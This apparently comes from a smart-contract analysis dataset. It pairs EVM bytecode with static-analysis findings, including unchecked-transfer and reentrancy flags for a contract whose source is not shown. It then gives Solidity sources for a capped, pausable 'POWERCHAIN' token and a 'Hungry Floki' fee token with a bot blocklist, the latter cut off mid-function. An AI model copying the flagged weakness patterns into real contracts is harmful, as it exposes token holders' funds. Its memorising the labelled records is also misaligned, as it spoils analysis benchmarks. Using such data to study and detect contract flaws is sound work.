cd60e51b81526004018080602001828103825260218152602001806119386021913960400191505060405180910390fd5b6001600160a01b0382166000908152600e6020526040902054818110156113ea5760405162461bcd60e51b81526004018080602001828103825260228152602001806118606022913960400191505060405180910390fd5b6001600160a01b0383166000818152600e602090815260408083208686039055600380548790039055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050565b600061148f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611741565b9392505050565b6000806114af6127106114a986866117e3565b9061144d565b949350505050565b60008282018381101561148f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516002808252606082018352600092602083019080368337019050509050308160008151811061154057fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115b957600080fd5b505afa1580156115cd573d6000803e3d6000fd5b505050506040513d60208110156115e357600080fd5b50518151829060019081106115f457fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061163f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610fd9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008460008054906101000a90046001600160a01b0316426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156116f75781810151838201526020016116df565b505050509050019650505050505050600060405180830381600087803b15801561172057600080fd5b505af1158015611734573d6000803e3d6000fd5b5050600060025550505050565b600081836117cd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561179257818101518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816117d957fe5b0495945050505050565b6000826117f2575060006106a4565b828202828482816117ff57fe5b041461148f5760405162461bcd60e51b81526004018080602001828103825260218152602001806118ef6021913960400191505060405180910390fdfe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f2061646472657373536f7272792053776170696e672054696d6520506572696f642069732066696e697368656445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e7445524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201bcae79cd482b893f02cb837bf037d3300b196ff22f9587637c76a6f0a25e6ea64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,014 |
0xc893337232d8b2b98c9c1dc0a12b3b9dbda0049d
|
/**
* @author https://github.com/Dmitx
*/
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Powerchain Token
* @dev Final token for Powerchain project.
*/
contract PowerchainToken is PausableToken, CappedToken {
string public constant name = "POWERCHAIN Token";
string public constant symbol = "POWEC";
uint8 public constant decimals = 18;
// set Max Total Supply in 100 000 000 000 tokens
constructor() public
CappedToken(1e11 * 1e18) {}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f578063313ce56714610249578063355274ea146102745780633f4ba83a1461028957806340c10f19146102a05780635c975abb146102c457806366188463146102d957806370a08231146102fd578063715018a61461031e5780637d64bcb4146103335780638456cb59146103485780638da5cb5b1461035d57806395d89b411461038e578063a9059cbb146103a3578063d73dd623146103c7578063dd62ed3e146103eb578063f2fde38b14610412575b600080fd5b34801561012d57600080fd5b50610136610433565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610455565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a036004351660243561048c565b34801561020457600080fd5b5061020d6104b7565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a03600435811690602435166044356104bd565b34801561025557600080fd5b5061025e6104ea565b6040805160ff9092168252519081900360200190f35b34801561028057600080fd5b5061020d6104ef565b34801561029557600080fd5b5061029e6104f5565b005b3480156102ac57600080fd5b50610136600160a060020a036004351660243561056d565b3480156102d057600080fd5b5061013661059c565b3480156102e557600080fd5b50610136600160a060020a03600435166024356105ac565b34801561030957600080fd5b5061020d600160a060020a03600435166105d0565b34801561032a57600080fd5b5061029e6105eb565b34801561033f57600080fd5b50610136610659565b34801561035457600080fd5b5061029e610702565b34801561036957600080fd5b5061037261077f565b60408051600160a060020a039092168252519081900360200190f35b34801561039a57600080fd5b5061015f61078e565b3480156103af57600080fd5b50610136600160a060020a03600435166024356107c5565b3480156103d357600080fd5b50610136600160a060020a03600435166024356107e9565b3480156103f757600080fd5b5061020d600160a060020a036004358116906024351661080d565b34801561041e57600080fd5b5061029e600160a060020a0360043516610838565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152601081527f504f574552434841494e20546f6b656e00000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104a657600080fd5b6104b0838361085b565b9392505050565b60015490565b60035460009060a060020a900460ff16156104d757600080fd5b6104e28484846108c1565b949350505050565b601281565b60045481565b600354600160a060020a0316331461050c57600080fd5b60035460a060020a900460ff16151561052457600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600060045461058783600154610a3690919063ffffffff16565b111561059257600080fd5b6104b08383610a49565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156105c657600080fd5b6104b08383610b65565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461060257600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461067357600080fd5b6003547501000000000000000000000000000000000000000000900460ff161561069c57600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a0316331461071957600080fd5b60035460a060020a900460ff161561073057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600581527f504f574543000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156107df57600080fd5b6104b08383610c54565b60035460009060a060020a900460ff161561080357600080fd5b6104b08383610d33565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461084f57600080fd5b61085881610dcc565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a0383166000908152602081905260408120548211156108e657600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561091657600080fd5b600160a060020a038316151561092b57600080fd5b600160a060020a038416600090815260208190526040902054610954908363ffffffff610e4a16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610989908363ffffffff610a3616565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546109cb908363ffffffff610e4a16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610a4357fe5b92915050565b600354600090600160a060020a03163314610a6357600080fd5b6003547501000000000000000000000000000000000000000000900460ff1615610a8c57600080fd5b600154610a9f908363ffffffff610a3616565b600155600160a060020a038316600090815260208190526040902054610acb908363ffffffff610a3616565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610bb957336000908152600260209081526040808320600160a060020a0388168452909152812055610bee565b610bc9818463ffffffff610e4a16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b33600090815260208190526040812054821115610c7057600080fd5b600160a060020a0383161515610c8557600080fd5b33600090815260208190526040902054610ca5908363ffffffff610e4a16565b3360009081526020819052604080822092909255600160a060020a03851681522054610cd7908363ffffffff610a3616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610d67908363ffffffff610a3616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610de157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e5657fe5b509003905600a165627a7a723058201b0bf00dc1ceaafea107544b1aab44e0f5f8db1ef34ace05bf0a8b0e55a71d160029
|
{"success": true, "error": null, "results": {}}
| 8,015 |
0xdf5e67da07ac4f37d01b8c4beae940eaa6cdbc2f
|
/**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/*
Telegram: https://t.me/hungryfloki
https://twitter.com/hungryfloki
www.Hungryfloki.net
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HungryFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Hungry Floki";
string private constant _symbol = 'HFLOKI';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 13;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(10).mul(8));
_marketingWalletAddress.transfer(amount.div(10).mul(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
